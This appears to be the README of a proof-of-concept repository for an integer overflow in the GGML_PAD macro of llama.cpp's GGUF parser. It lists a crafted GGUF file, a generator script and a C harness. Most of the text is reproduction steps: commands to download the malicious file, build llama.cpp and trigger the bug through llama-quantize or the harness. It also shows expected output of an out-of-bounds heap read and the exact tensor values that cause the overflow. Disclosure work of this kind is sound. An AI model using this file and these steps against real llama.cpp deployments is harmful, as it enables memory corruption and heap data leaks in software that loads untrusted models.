blackr0se1/llama-cpp-gguf-pad-overflow-poc

GGML_PAD Integer Overflow PoC - llama.cpp GGUF Parser

Files

• poc_multi.gguf - Crafted GGUF file (256 bytes) that triggers the vulnerability
• craft_gguf_poc.py - Python script that generates the PoC file
• poc_test.c - Minimal C test harness that demonstrates the heap OOB

Quick Reproduction (under 5 minutes)

Prerequisites

git clone https://github.com/ggml-org/llama.cpp.git
cd llama.cpp
cmake -B build -DCMAKE_BUILD_TYPE=Debug
cmake --build build --target llama-quantize -j$(nproc)

Option 1: Using the built-in quantize tool

# Download the PoC file
wget https://huggingface.co/blackr0se1/llama-cpp-gguf-pad-overflow-poc/resolve/main/poc_multi.gguf

# Run quantize with the crafted file as imatrix (triggers no_alloc=false path)
./build/bin/llama-quantize --imatrix poc_multi.gguf /dev/null /dev/null Q4_0

The tool will either crash or exhibit undefined behavior due to the heap buffer underallocation.

Option 2: Using the test harness (shows the overflow clearly)

# Download all files from this repo
wget https://huggingface.co/blackr0se1/llama-cpp-gguf-pad-overflow-poc/resolve/main/poc_multi.gguf
wget https://huggingface.co/blackr0se1/llama-cpp-gguf-pad-overflow-poc/resolve/main/poc_test.c

# Compile the test harness against llama.cpp's libraries
cc -o poc_test poc_test.c \
  -I llama.cpp/ggml/include \
  -L llama.cpp/build/bin \
  -lggml -lggml-base -lggml-cpu \
  -lstdc++ -lm -lpthread

# Run (adjust library path for your platform)
# macOS:
DYLD_LIBRARY_PATH=llama.cpp/build/bin ./poc_test poc_multi.gguf
# Linux:
LD_LIBRARY_PATH=llama.cpp/build/bin ./poc_test poc_multi.gguf

Expected Output

[+] GGUF file parsed successfully!
    Version:    3
    Alignment:  32
    N tensors:  2

    Tensor 0: "tensor_a"
      ggml_nbytes: 64 (0x40)
      data ptr:    0x10264c170

    Tensor 1: "tensor_b"
      ggml_nbytes: 18446744073709551612 (0xFFFFFFFFFFFFFFFC)
      data ptr:    0x10264c1b0
      [!] OVERFLOW DETECTED: tensor claims 18446744073709551612 bytes
      [!] But ctx->size (allocation) is only ~64 bytes!
      [!] Attempting OOB read from tensor B data...
      [!] OOB read succeeded: 0xD0 (heap data leak)

Tensor B's data pointer (0x10264c1b0) is exactly 64 bytes past Tensor A (0x10264c170), confirming it points past the end of the 64-byte allocated buffer.

What's Happening

The GGUF file contains two tensors. Tensor B has ne[0] = 2^63 - 2 with type F16 (type_size=2), making ggml_nbytes = 2^64 - 4. The GGML_PAD macro overflows this to 0, so the parser thinks Tensor B needs 0 bytes. Only 64 bytes are allocated (for Tensor A), but Tensor B's data pointer is set 64 bytes into this buffer - past the end.